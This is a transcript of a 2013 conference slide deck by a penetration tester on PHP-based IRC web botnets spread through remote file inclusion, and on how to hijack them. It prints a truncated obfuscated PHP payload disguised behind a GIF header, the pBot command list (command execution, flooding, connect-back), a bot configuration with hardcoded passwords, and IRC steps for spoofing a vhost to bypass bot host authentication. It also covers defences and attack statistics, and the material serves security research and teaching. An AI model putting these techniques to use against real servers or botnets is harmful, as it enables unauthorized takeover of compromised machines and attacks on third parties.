botnets of the web – how to hijack one

37
Sense of Security Pty Ltd Sydney Level 8, 66 King St Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Dr Melbourne VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 [email protected] www.senseofsecurity.com.au ABN: 14 098 237 908 Botnets of the Web - 10 November 2013 How to Hijack One

Upload: hans-michael-varbaek

Post on 03-Feb-2015

4.390 views

Category:

Education


3 download

DESCRIPTION

A relatively small but also somewhat unknown type of botnets are automatically attacking web servers and joining them together into a classic C&C botnet. These bots are flawed by design and often use code from each other, thus the same types of flaws are consistent among almost all bots encountered. This presentation dives into finding these botnets, what the flaws in these bots are, how to exploit them, and a live demo. Location: Sunday 10th November 2013 - 16:00 @ The Opera House - Wellington - New Zealand. Bio: Hans is a Security Consultant at Sense of Security and is an active part of the penetration testing team. He is an IT security specialist, independent researcher, and penetration tester. Toolkit: https://github.com/Varbaek/alpha-toolkit YouTube: http://www.youtube.com/playlist?list=PLIjb28IYMQgqWSjVFsSTT5QY_gPYoynxh Vimeo: https://vimeo.com/channels/botnetsoftheweb

TRANSCRIPT

Page 1: Botnets of the Web – How to Hijack One

Sense of Security Pty Ltd

Sydney

Level 8, 66 King St

Sydney NSW 2000 Australia

Melbourne

Level 10, 401 Docklands Dr

Melbourne VIC 3008 Australia

T: 1300 922 923

T: +61 (0) 2 9290 4444

F: +61 (0) 2 9290 4455

[email protected]

www.senseofsecurity.com.au

ABN: 14 098 237 908

Botnets of the Web -

10 November 2013

How to Hijack One

Page 2: Botnets of the Web – How to Hijack One

whois hansv

Hans-Michael Varbaek

• Security Consultant (aka. PenTester)• Locksport Wizard• Captain Obvious• Community Guy

Page 3: Botnets of the Web – How to Hijack One

Agenda

1. Background2. Analysis3. Live Demo4. Protecting Yourself5. Statistical Findings6. Conclusion7. Q&A

Page 4: Botnets of the Web – How to Hijack One

Background

Page 5: Botnets of the Web – How to Hijack One

Background

Wikipedia’s depiction of botnet infections:

Page 6: Botnets of the Web – How to Hijack One

Background

Web-based botnets?

Walter Pinkman – Breaking Bad

Typically PHP RoR (CVE-2013-0156) Sometimes Perl

Attack methods Google Dorks RFI Payloads Dumb Clients Archaic, but it works!

Classic IRC C&C

Page 7: Botnets of the Web – How to Hijack One

Background

What does it look like when you connect?

08:00 -!- b0yz|43231 [captain@obvious] has joined #b0yz08:00 -!- Topic for #b0yz: /source/includes/load_forum.php?mfh_root_path= Mihalism Multi Forum Host © 200708:00 -!- Topic set by b0yz_JbX [] [Sun Dec 25 21:32:45 2011]08:00 [Users #b0yz]08:00 [@b0yz_JbX ] [ b0yz]|[1139] [ b0yz]|[2873] [ b0yz]|[6267] [ b0yz]|[7484][ b0yz]|[9542]08:00 [%abah ] [ b0yz]|[1419] [ b0yz]|[3234] [ b0yz]|[6344] [ b0yz]|[7521] [ ********** ]08:00 [%VioLa ] [ b0yz]|[1664] [ b0yz]|[3421] [ b0yz]|[6431] [ b0yz]|[7541] [ Loaded ]08:00 [+_b0yz_ ] [ b0yz]|[1978] [ b0yz]|[3447] [ b0yz]|[6694] [ b0yz]|[8273] [ MiStErluS ]08:00 [+SiLeT ] [ b0yz]|[2659] [ b0yz]|[5438] [ b0yz]|[6883] [ b0yz]|[8692] [ Security ]08:00 [ [z]uLva[N]] [ b0yz]|[2858] [ b0yz]|[5541] [ b0yz]|[6972] [ b0yz]|[8945]08:00 -!- Irssi: #b0yz: Total of 35 nicks [1 ops, 2 halfops, 2 voices, 30 normal]08:00 -!- Channel #b0yz created Fri Apr 6 07:05:14 201208:00 -!- Irssi: Join to #b0yz was synced in 0 secs

It looks exactly like a regular IRC C&C!

Page 8: Botnets of the Web – How to Hijack One

Background

What does it look like when you connect?

08:00 -!- b0yz|43231 [captain@obvious] has joined #b0yz08:00 -!- Topic for #b0yz: /source/includes/load_forum.php?mfh_root_path= Mihalism Multi Forum Host © 200708:00 -!- Topic set by b0yz_JbX [] [Sun Dec 25 21:32:45 2011]08:00 [Users #b0yz]08:00 [@b0yz_JbX ] [ b0yz]|[1139] [ b0yz]|[2873] [ b0yz]|[6267] [ b0yz]|[7484][ b0yz]|[9542]08:00 [%abah ] [ b0yz]|[1419] [ b0yz]|[3234] [ b0yz]|[6344] [ b0yz]|[7521] [ ********** ]08:00 [%VioLa ] [ b0yz]|[1664] [ b0yz]|[3421] [ b0yz]|[6431] [ b0yz]|[7541] [ Loaded ]08:00 [+_b0yz_ ] [ b0yz]|[1978] [ b0yz]|[3447] [ b0yz]|[6694] [ b0yz]|[8273] [ MiStErluS ]08:00 [+SiLeT ] [ b0yz]|[2659] [ b0yz]|[5438] [ b0yz]|[6883] [ b0yz]|[8692] [ Security ]08:00 [ [z]uLva[N]] [ b0yz]|[2858] [ b0yz]|[5541] [ b0yz]|[6972] [ b0yz]|[8945]08:00 -!- Irssi: #b0yz: Total of 35 nicks [1 ops, 2 halfops, 2 voices, 30 normal]08:00 -!- Channel #b0yz created Fri Apr 6 07:05:14 201208:00 -!- Irssi: Join to #b0yz was synced in 0 secs

It looks exactly like a regular IRC C&C!

Page 9: Botnets of the Web – How to Hijack One

Background

Let’s see a /who #b0yz#b0yz b0yz|43231 H 0 captain@obvious [b0yz|43231]#b0yz b0yz_JbX H@ 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[8945 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[8273 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz [z]uLva[N] H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[2659 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[9542 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz VioLa G% 0 [email protected] [-=[ Powered by b0yz ]=-]#b0yz b0yz]|[6267 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[3421 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[7541 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[6883 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[6344 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[1419 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[5438 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[6694 H 0 [email protected] [((([D3V_C0])))]#b0yz b0yz]|[1664 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[1978 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[7484 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz SiLeT H+ 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[3234 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[7521 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz abah Hr% 0 Aku@vHost [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[2873 H 0 [email protected] [.:|| Pangeran Berkelana ||:.] #b0yz Security H* 0 oYik.a@IRC [Network]End of /WHO list

Page 10: Botnets of the Web – How to Hijack One

Background

How many are reinfections?#b0yz b0yz|43231 H 0 captain@obvious [b0yz|43231]#b0yz b0yz_JbX H@ 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[8945 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[8273 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz [z]uLva[N] H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[2659 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[9542 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz VioLa G% 0 [email protected] [-=[ Powered by b0yz ]=-]#b0yz b0yz]|[6267 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[3421 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[7541 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[6883 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[6344 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[1419 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[5438 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[6694 H 0 [email protected] [((([D3V_C0])))]#b0yz b0yz]|[1664 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[1978 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[7484 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz SiLeT H+ 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[3234 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[7521 H 0 [email protected] [.:|| Pangeran Berkelana ||:.]#b0yz abah Hr% 0 Aku@vHost [.:|| Pangeran Berkelana ||:.]#b0yz b0yz]|[2873 H 0 [email protected] [.:|| Pangeran Berkelana ||:.] #b0yz Security H* 0 oYik.a@IRC [Network]End of /WHO list

Page 11: Botnets of the Web – How to Hijack One

Background

pBot IRC commands:* .die //kill the bot* .restart //restart the bot* .mail <to> <from> <subject> <msg> //send an email* .dns <IP|HOST> //dns lookup* .download <URL> <filename> //download a file* .exec <cmd> // uses exec() //execute a command* .sexec <cmd> // uses shell_exec() //execute a command* .cmd <cmd> // uses popen() //execute a command* .info //get system information* .php <php code> // uses eval() //execute php code* .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack* .udpflood <target> <packets> <packetsize> <delay> [port] //udpflood attack* .raw <cmd> //raw IRC command* .rndnick //change nickname* .pscan <host> <port> //port scan* .safe // test safe_mode (dvl)* .inbox <to> // test inbox (dvl)* .conback <ip> <port> // conect back (dvl)* .uname // return shell's uname using a php function (dvl)

Page 12: Botnets of the Web – How to Hijack One

Background

pBot IRC commands - that a hijacker would use?* .die //kill the bot

* .restart //restart the bot* .mail <to> <from> <subject> <msg> //send an email* .dns <IP|HOST> //dns lookup* .download <URL> <filename> //download a file* .exec <cmd> // uses exec() //execute a command* .sexec <cmd> // uses shell_exec() //execute a command* .cmd <cmd> // uses popen() //execute a command* .info //get system information* .php <php code> // uses eval() //execute php code… [TRUNCATED]

Undocumented Feature:* .system <cmd> // uses system() //execute a command

Page 13: Botnets of the Web – How to Hijack One

Analysis

Page 14: Botnets of the Web – How to Hijack One

Analysis

• Payloads are “heavily obfuscated”• base64_decode()• preg_replace()• str_rot13()• gzinflate()• eval()• Variable names ($llll = $lll.$lllll;)

Deobfuscation

Page 15: Botnets of the Web – How to Hijack One

Analysis

Deobfuscation

GIF89a?????���!�????,???????D?;?<?phpset_time_limit(0);error_reporting(0);$recky = '7T14SuLKst90rfkPeg54A3uQp84eHVoBWcfc[TRUNCATED]==';eval(gzinflate(str_rot13(base64_decode($recky))));?>

Method 1: Change eval() to print(), continueuntil plain text is recovered.

Method 2: Use BallastSec’s / Bwall’s decoder!

Page 16: Botnets of the Web – How to Hijack One

Analysis

Modified PHP Decoder (Obfuscated)

Page 17: Botnets of the Web – How to Hijack One

Analysis

Modified PHP Decoder (Deobfuscated)

Page 18: Botnets of the Web – How to Hijack One

Analysis

• Hardcoded Passwords• Insecure hostname authentication• Insufficient access control

Discovered Vulnerabilities

Known Vulnerabilities:- pBot RCE (HostAuth

*)- RA1NX Auth Bypass

Page 19: Botnets of the Web – How to Hijack One

Analysis

• Hardcoded Passwords

Discovered Vulnerabilities

var $config = array("server"=>"scan.noip.us","port"=>"6667","pass"=>"", // Server password"prefix"=>"puto","chan"=>"#ath0",

"key"=>"id", // Channel password"modes"=>"+p","password"=>"id", // Bot password"trigger"=>,"hostauth"=>"sHoOcK" // Host Auth

);

Page 20: Botnets of the Web – How to Hijack One

Analysis

• Insecure hostname authentication

Discovered Vulnerabilities

var $config = array("server"=>"scan.noip.us","port"=>"6667","pass"=>"", // Server password"prefix"=>"puto","chan"=>"#ath0",

"key"=>"id", // Channel password"modes"=>"+p","password"=>"id", // Bot password"trigger"=>,"hostauth"=>"sHoOcK" // Host Auth

);

Page 21: Botnets of the Web – How to Hijack One

Analysis

• How easy is it to bypass?

Insecure hostname authentication

/msg nickserv confirm [TOKEN]

/msg nickserv register 123456 [email protected]

/msg hostserv request target.vhost.tld

/msg hostserv on

A: Needs confirmation

B: Does usually not need any confirmation/join #vhost

!vhost target.vhost.tld

Page 22: Botnets of the Web – How to Hijack One

Analysis

• Insufficient access control• Anyone can connect to the IRC server. (Obviously)• A centralised botnet is a flawed design model.

Discovered Vulnerabilities

P2P Botnets

Best

Prac

tice

The Solution:

Page 23: Botnets of the Web – How to Hijack One

Analysis

Reoccurring Bugs

Most of these botnetshave no HostAuth set.

Almost all of them useeither pBot or RA1NX.

Source code is rarelymodified or improved.

Could a cat do it better? Most likely.

Page 24: Botnets of the Web – How to Hijack One

Live Demo

Page 25: Botnets of the Web – How to Hijack One

Protection againstAutomated bot attacks

Page 26: Botnets of the Web – How to Hijack One

aka. How not to become a bot

• Stay up to date• Stop using dynamic require() and include()• AND require_once and include_once

• Use a web application firewall• Check out BallastSec’s tools (PHP)

• Custom Apps?• Secure Development Life-Cycle

Page 27: Botnets of the Web – How to Hijack One

Statistical Findingsand

Conclusions

Page 28: Botnets of the Web – How to Hijack One

Statistical Findings

Primary Source: http://www.attack-scanner.com/category/attack-trends-2/

Nov 01-14-2012

Nov 15-30-2012

Dec 01-15-2012

Dec 15-31-2012

Jan 01-15-2013

Jan 15-31-2013

Feb 01-15-2013

Feb 15-28-2013

Mar 01-15-2013

Mar 15-31-2013

0

500

1000

1500

2000

2500

3000

3500

4000

4500

5000

Generic RFI Attacks (On a WordPress Website)

RFI Attacks

Page 29: Botnets of the Web – How to Hijack One

Statistical Findings

Primary Source: https://defense.ballastsecurity.net/decoding/rss/pbot.rss

Apr-13 May-13 Jun-13 Jul-13 Aug-13 Sep-13 Oct-130

10

20

30

40

50

60

70

80

90

pBot Attacks (On the same WordPress website)

Bot Attacks

Page 30: Botnets of the Web – How to Hijack One

Statistical Findings

Primary Source: https://defense.ballastsecurity.net/decoding/rss/ra1nx.rss

Apr-13 May-13 Jun-13 Jul-13 Aug-13 Sep-13 Oct-130

5

10

15

20

25

RA1NX Attacks (On the same WordPress website)

Bot Attacks

Page 31: Botnets of the Web – How to Hijack One

Statistical Findings

Source: InterN0T

Period: 28 Jul – 01 Nov 2013Total RFI Attacks: 257Unique Payloads: 17

Source: Forum ApplicationPayload Domains: 14Payload IP Addresses: 13

Page 32: Botnets of the Web – How to Hijack One

Statistical Findings

Source: InterN0T

Period: 28 Jul – 01 Nov 2013Total RFI Attacks: 257

Source: Forum ApplicationUnique Attacker IPs: 23Unique Attacker Domains: 19

Page 33: Botnets of the Web – How to Hijack One

Conclusion

• RFI Attacks are still occurring (obviously)• And they are still successful• But on a smaller scale

• These botnets are small• Usually between 5-20 hosts

• It’s easy to hijack them• Requires minimal analysis• Legal implications

Page 35: Botnets of the Web – How to Hijack One

References

Detailed Information:

https://defense.ballastsecurity.net/wiki/index.php/RFI_Payload_Decoder

https://defense.ballastsecurity.net/wiki/index.php/Attack_Analysis

https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL

https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell

Known Exploits:

http://www.exploit-db.com/exploits/24883/

http://www.exploit-db.com/exploits/20168/

http://www.exploit-db.com/exploits/24905/

Tools:

http://www.irongeek.com/downloads/grepforrfi.txt

https://github.com/bwall/PHP-RFI-Payload-Decoder

http://sourceforge.net/p/ra1nxingbots/wiki/Home/

Page 37: Botnets of the Web – How to Hijack One

Thank You!

Questions?